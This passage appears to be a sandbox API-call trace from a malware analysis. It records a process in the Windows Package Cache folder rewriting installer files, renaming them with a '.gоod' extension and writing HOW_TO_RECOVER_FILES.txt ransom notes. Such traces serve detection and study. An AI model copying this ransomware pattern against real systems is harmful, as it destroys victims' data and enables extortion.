ftLastWriteTime.dwLowDateTime=0xd9b4c2ed, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec32b90 [0082.567] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1f59c880 | out: lpFindFileData=0x1f59c880*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9b26095, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2ec173c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9b4c2ed, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0082.567] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1f59c880 | out: lpFindFileData=0x1f59c880*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1e42500, ftCreationTime.dwHighDateTime=0x1d28867, ftLastAccessTime.dwLowDateTime=0xe1e42500, ftLastAccessTime.dwHighDateTime=0x1d28867, ftLastWriteTime.dwLowDateTime=0xe1e42500, ftLastWriteTime.dwHighDateTime=0x1d28867, nFileSizeHigh=0x0, nFileSizeLow=0x4f699e, dwReserved0=0x0, dwReserved1=0x0, cFileName="cab1.cab", cAlternateFileName="")) returned 1 [0082.567] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1f59c880 | out: lpFindFileData=0x1f59c880*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcce7900, ftCreationTime.dwHighDateTime=0x1d28868, ftLastAccessTime.dwLowDateTime=0xcce7900, ftLastAccessTime.dwHighDateTime=0x1d28868, ftLastWriteTime.dwLowDateTime=0xcce7900, ftLastWriteTime.dwHighDateTime=0x1d28868, nFileSizeHigh=0x0, nFileSizeLow=0x23000, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeAdditional_x86.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 1 [0082.568] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1f59c880 | out: lpFindFileData=0x1f59c880*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcce7900, ftCreationTime.dwHighDateTime=0x1d28868, ftLastAccessTime.dwLowDateTime=0xcce7900, ftLastAccessTime.dwHighDateTime=0x1d28868, ftLastWriteTime.dwLowDateTime=0xcce7900, ftLastWriteTime.dwHighDateTime=0x1d28868, nFileSizeHigh=0x0, nFileSizeLow=0x23000, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeAdditional_x86.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 0 [0082.568] FindClose (in: hFindFile=0x1ec32b90 | out: hFindFile=0x1ec32b90) returned 1 [0082.568] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59cae0) returned 1 [0082.568] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59caa0) returned 1 [0082.568] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86\\cab1.cab", nBufferLength=0x105, lpBuffer=0x1f59c480, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86\\cab1.cab", lpFilePart=0x0) returned 0x79 [0082.568] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59c950) returned 1 [0082.568] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86\\cab1.cab" (normalized: "c:\\programdata\\package cache\\{68306422-7c57-373f-8860-d26ce4ba2a15}v14.10.25017\\packages\\vcruntimeadditional_x86\\cab1.cab"), fInfoLevelId=0x0, lpFileInformation=0x328cd80 | out: lpFileInformation=0x328cd80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1e42500, ftCreationTime.dwHighDateTime=0x1d28867, ftLastAccessTime.dwLowDateTime=0xe1e42500, ftLastAccessTime.dwHighDateTime=0x1d28867, ftLastWriteTime.dwLowDateTime=0xe1e42500, ftLastWriteTime.dwHighDateTime=0x1d28867, nFileSizeHigh=0x0, nFileSizeLow=0x4f699e)) returned 1 [0082.568] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59c910) returned 1 [0082.568] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86\\cab1.cab", nBufferLength=0x105, lpBuffer=0x1f59c330, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86\\cab1.cab", lpFilePart=0x0) returned 0x79 [0082.568] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59c850) returned 1 [0082.568] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86\\cab1.cab" (normalized: "c:\\programdata\\package cache\\{68306422-7c57-373f-8860-d26ce4ba2a15}v14.10.25017\\packages\\vcruntimeadditional_x86\\cab1.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0082.569] GetFileType (hFile=0x768) returned 0x1 [0082.569] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59c7c0) returned 1 [0082.569] GetFileType (hFile=0x768) returned 0x1 [0082.569] SetFilePointer (in: hFile=0x768, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f59c9a8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f59c9a8*=0) returned 0x1000 [0082.569] ReadFile (in: hFile=0x768, lpBuffer=0x328d258, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59c978, lpOverlapped=0x0 | out: lpBuffer=0x328d258*, lpNumberOfBytesRead=0x1f59c978*=0x1000, lpOverlapped=0x0) returned 1 [0082.571] CloseHandle (hObject=0x768) returned 1 [0082.571] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86\\cab1.cab", nBufferLength=0x105, lpBuffer=0x1f59c330, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86\\cab1.cab", lpFilePart=0x0) returned 0x79 [0082.571] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59c850) returned 1 [0082.571] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86\\cab1.cab" (normalized: "c:\\programdata\\package cache\\{68306422-7c57-373f-8860-d26ce4ba2a15}v14.10.25017\\packages\\vcruntimeadditional_x86\\cab1.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0082.571] GetFileType (hFile=0x768) returned 0x1 [0082.571] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59c7c0) returned 1 [0082.571] GetFileType (hFile=0x768) returned 0x1 [0082.571] SetFilePointer (in: hFile=0x768, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f59c9a8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f59c9a8*=0) returned 0x4f699e [0082.571] WriteFile (in: hFile=0x768, lpBuffer=0x3290300*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f59c898, lpOverlapped=0x0 | out: lpBuffer=0x3290300*, lpNumberOfBytesWritten=0x1f59c898*=0x10, lpOverlapped=0x0) returned 1 [0082.573] CloseHandle (hObject=0x768) returned 1 [0084.055] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86\\cab1.cab", nBufferLength=0x105, lpBuffer=0x1f59c330, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86\\cab1.cab", lpFilePart=0x0) returned 0x79 [0084.055] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59c850) returned 1 [0084.055] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86\\cab1.cab" (normalized: "c:\\programdata\\package cache\\{68306422-7c57-373f-8860-d26ce4ba2a15}v14.10.25017\\packages\\vcruntimeadditional_x86\\cab1.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0084.056] GetFileType (hFile=0x768) returned 0x1 [0084.056] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59c7c0) returned 1 [0084.056] GetFileType (hFile=0x768) returned 0x1 [0084.056] ReadFile (in: hFile=0x768, lpBuffer=0x337f148, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59c928, lpOverlapped=0x0 | out: lpBuffer=0x337f148*, lpNumberOfBytesRead=0x1f59c928*=0x1000, lpOverlapped=0x0) returned 1 [0084.084] CloseHandle (hObject=0x768) returned 1 [0084.084] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86\\cab1.cab", nBufferLength=0x105, lpBuffer=0x1f59c330, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86\\cab1.cab", lpFilePart=0x0) returned 0x79 [0084.084] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59c850) returned 1 [0084.084] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86\\cab1.cab" (normalized: "c:\\programdata\\package cache\\{68306422-7c57-373f-8860-d26ce4ba2a15}v14.10.25017\\packages\\vcruntimeadditional_x86\\cab1.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0084.084] GetFileType (hFile=0x768) returned 0x1 [0084.084] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59c7c0) returned 1 [0084.084] GetFileType (hFile=0x768) returned 0x1 [0084.084] WriteFile (in: hFile=0x768, lpBuffer=0x337de40*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f59c9d8, lpOverlapped=0x0 | out: lpBuffer=0x337de40*, lpNumberOfBytesWritten=0x1f59c9d8*=0x1010, lpOverlapped=0x0) returned 1 [0084.085] CloseHandle (hObject=0x768) returned 1 [0084.819] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86\\cab1.cab", nBufferLength=0x105, lpBuffer=0x1f59c480, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86\\cab1.cab", lpFilePart=0x0) returned 0x79 [0084.819] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86\\cab1.cab.gоod", nBufferLength=0x105, lpBuffer=0x1f59c480, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86\\cab1.cab.gоod", lpFilePart=0x0) returned 0x7e [0084.820] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59c910) returned 1 [0084.820] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86\\cab1.cab" (normalized: "c:\\programdata\\package cache\\{68306422-7c57-373f-8860-d26ce4ba2a15}v14.10.25017\\packages\\vcruntimeadditional_x86\\cab1.cab"), fInfoLevelId=0x0, lpFileInformation=0x1f59c9f0 | out: lpFileInformation=0x1f59c9f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1e42500, ftCreationTime.dwHighDateTime=0x1d28867, ftLastAccessTime.dwLowDateTime=0xe1e42500, ftLastAccessTime.dwHighDateTime=0x1d28867, ftLastWriteTime.dwLowDateTime=0x2ea3b435, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x4f69ae)) returned 1 [0084.822] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59c8d0) returned 1 [0084.822] MoveFileW (lpExistingFileName="C:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86\\cab1.cab" (normalized: "c:\\programdata\\package cache\\{68306422-7c57-373f-8860-d26ce4ba2a15}v14.10.25017\\packages\\vcruntimeadditional_x86\\cab1.cab"), lpNewFileName="C:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86\\cab1.cab.gоod" (normalized: "c:\\programdata\\package cache\\{68306422-7c57-373f-8860-d26ce4ba2a15}v14.10.25017\\packages\\vcruntimeadditional_x86\\cab1.cab.gоod")) returned 1 [0084.843] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86\\vc_runtimeAdditional_x86.msi", nBufferLength=0x105, lpBuffer=0x1f59c480, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86\\vc_runtimeAdditional_x86.msi", lpFilePart=0x0) returned 0x8d [0084.843] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59c950) returned 1 [0084.843] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86\\vc_runtimeAdditional_x86.msi" (normalized: "c:\\programdata\\package cache\\{68306422-7c57-373f-8860-d26ce4ba2a15}v14.10.25017\\packages\\vcruntimeadditional_x86\\vc_runtimeadditional_x86.msi"), fInfoLevelId=0x0, lpFileInformation=0x34e9430 | out: lpFileInformation=0x34e9430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcce7900, ftCreationTime.dwHighDateTime=0x1d28868, ftLastAccessTime.dwLowDateTime=0xcce7900, ftLastAccessTime.dwHighDateTime=0x1d28868, ftLastWriteTime.dwLowDateTime=0xcce7900, ftLastWriteTime.dwHighDateTime=0x1d28868, nFileSizeHigh=0x0, nFileSizeLow=0x23000)) returned 1 [0084.843] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59c910) returned 1 [0084.844] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86\\vc_runtimeAdditional_x86.msi", nBufferLength=0x105, lpBuffer=0x1f59c330, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86\\vc_runtimeAdditional_x86.msi", lpFilePart=0x0) returned 0x8d [0084.844] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59c850) returned 1 [0084.844] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86\\vc_runtimeAdditional_x86.msi" (normalized: "c:\\programdata\\package cache\\{68306422-7c57-373f-8860-d26ce4ba2a15}v14.10.25017\\packages\\vcruntimeadditional_x86\\vc_runtimeadditional_x86.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x79c [0084.844] GetFileType (hFile=0x79c) returned 0x1 [0084.844] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59c7c0) returned 1 [0084.844] GetFileType (hFile=0x79c) returned 0x1 [0084.844] SetFilePointer (in: hFile=0x79c, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f59c9a8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f59c9a8*=0) returned 0x1000 [0084.844] ReadFile (in: hFile=0x79c, lpBuffer=0x34e99a8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59c978, lpOverlapped=0x0 | out: lpBuffer=0x34e99a8*, lpNumberOfBytesRead=0x1f59c978*=0x1000, lpOverlapped=0x0) returned 1 [0084.845] CloseHandle (hObject=0x79c) returned 1 [0084.845] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86\\vc_runtimeAdditional_x86.msi", nBufferLength=0x105, lpBuffer=0x1f59c330, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86\\vc_runtimeAdditional_x86.msi", lpFilePart=0x0) returned 0x8d [0084.845] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59c850) returned 1 [0084.845] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86\\vc_runtimeAdditional_x86.msi" (normalized: "c:\\programdata\\package cache\\{68306422-7c57-373f-8860-d26ce4ba2a15}v14.10.25017\\packages\\vcruntimeadditional_x86\\vc_runtimeadditional_x86.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x79c [0084.845] GetFileType (hFile=0x79c) returned 0x1 [0084.845] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59c7c0) returned 1 [0084.846] GetFileType (hFile=0x79c) returned 0x1 [0084.846] SetFilePointer (in: hFile=0x79c, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f59c9a8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f59c9a8*=0) returned 0x23000 [0084.846] WriteFile (in: hFile=0x79c, lpBuffer=0x34eacf0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f59c898, lpOverlapped=0x0 | out: lpBuffer=0x34eacf0*, lpNumberOfBytesWritten=0x1f59c898*=0x10, lpOverlapped=0x0) returned 1 [0084.846] CloseHandle (hObject=0x79c) returned 1 [0084.846] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86\\vc_runtimeAdditional_x86.msi", nBufferLength=0x105, lpBuffer=0x1f59c330, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86\\vc_runtimeAdditional_x86.msi", lpFilePart=0x0) returned 0x8d [0084.846] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59c850) returned 1 [0084.846] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86\\vc_runtimeAdditional_x86.msi" (normalized: "c:\\programdata\\package cache\\{68306422-7c57-373f-8860-d26ce4ba2a15}v14.10.25017\\packages\\vcruntimeadditional_x86\\vc_runtimeadditional_x86.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x79c [0084.846] GetFileType (hFile=0x79c) returned 0x1 [0084.846] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59c7c0) returned 1 [0084.846] GetFileType (hFile=0x79c) returned 0x1 [0084.847] ReadFile (in: hFile=0x79c, lpBuffer=0x34ed060, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59c928, lpOverlapped=0x0 | out: lpBuffer=0x34ed060*, lpNumberOfBytesRead=0x1f59c928*=0x1000, lpOverlapped=0x0) returned 1 [0085.282] CloseHandle (hObject=0x79c) returned 1 [0085.282] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86\\vc_runtimeAdditional_x86.msi", nBufferLength=0x105, lpBuffer=0x1f59c330, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86\\vc_runtimeAdditional_x86.msi", lpFilePart=0x0) returned 0x8d [0085.282] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59c850) returned 1 [0085.282] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86\\vc_runtimeAdditional_x86.msi" (normalized: "c:\\programdata\\package cache\\{68306422-7c57-373f-8860-d26ce4ba2a15}v14.10.25017\\packages\\vcruntimeadditional_x86\\vc_runtimeadditional_x86.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x79c [0085.282] GetFileType (hFile=0x79c) returned 0x1 [0085.282] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59c7c0) returned 1 [0085.282] GetFileType (hFile=0x79c) returned 0x1 [0085.282] WriteFile (in: hFile=0x79c, lpBuffer=0x330bf68*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f59c9d8, lpOverlapped=0x0 | out: lpBuffer=0x330bf68*, lpNumberOfBytesWritten=0x1f59c9d8*=0x1010, lpOverlapped=0x0) returned 1 [0085.283] CloseHandle (hObject=0x79c) returned 1 [0085.283] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86\\vc_runtimeAdditional_x86.msi", nBufferLength=0x105, lpBuffer=0x1f59c480, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86\\vc_runtimeAdditional_x86.msi", lpFilePart=0x0) returned 0x8d [0085.283] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86\\vc_runtimeAdditional_x86.msi.gоod", nBufferLength=0x105, lpBuffer=0x1f59c480, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86\\vc_runtimeAdditional_x86.msi.gоod", lpFilePart=0x0) returned 0x92 [0085.283] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59c910) returned 1 [0085.283] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86\\vc_runtimeAdditional_x86.msi" (normalized: "c:\\programdata\\package cache\\{68306422-7c57-373f-8860-d26ce4ba2a15}v14.10.25017\\packages\\vcruntimeadditional_x86\\vc_runtimeadditional_x86.msi"), fInfoLevelId=0x0, lpFileInformation=0x1f59c9f0 | out: lpFileInformation=0x1f59c9f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcce7900, ftCreationTime.dwHighDateTime=0x1d28868, ftLastAccessTime.dwLowDateTime=0xcce7900, ftLastAccessTime.dwHighDateTime=0x1d28868, ftLastWriteTime.dwLowDateTime=0x2f0b08f6, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x23010)) returned 1 [0085.283] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59c8d0) returned 1 [0085.283] MoveFileW (lpExistingFileName="C:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86\\vc_runtimeAdditional_x86.msi" (normalized: "c:\\programdata\\package cache\\{68306422-7c57-373f-8860-d26ce4ba2a15}v14.10.25017\\packages\\vcruntimeadditional_x86\\vc_runtimeadditional_x86.msi"), lpNewFileName="C:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86\\vc_runtimeAdditional_x86.msi.gоod" (normalized: "c:\\programdata\\package cache\\{68306422-7c57-373f-8860-d26ce4ba2a15}v14.10.25017\\packages\\vcruntimeadditional_x86\\vc_runtimeadditional_x86.msi.gоod")) returned 1 [0085.284] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f59c5f0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x89 [0085.284] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59cb10) returned 1 [0085.284] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\programdata\\package cache\\{68306422-7c57-373f-8860-d26ce4ba2a15}v14.10.25017\\packages\\vcruntimeadditional_x86\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x79c [0085.285] GetFileType (hFile=0x79c) returned 0x1 [0085.285] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59ca80) returned 1 [0085.285] GetFileType (hFile=0x79c) returned 0x1 [0085.286] WriteFile (in: hFile=0x79c, lpBuffer=0x3401608*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f59cbd8, lpOverlapped=0x0 | out: lpBuffer=0x3401608*, lpNumberOfBytesWritten=0x1f59cbd8*=0x5d0, lpOverlapped=0x0) returned 1 [0085.287] CloseHandle (hObject=0x79c) returned 1 [0085.288] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f59d020, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x71 [0085.288] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59d540) returned 1 [0085.288] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\programdata\\package cache\\{68306422-7c57-373f-8860-d26ce4ba2a15}v14.10.25017\\packages\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, 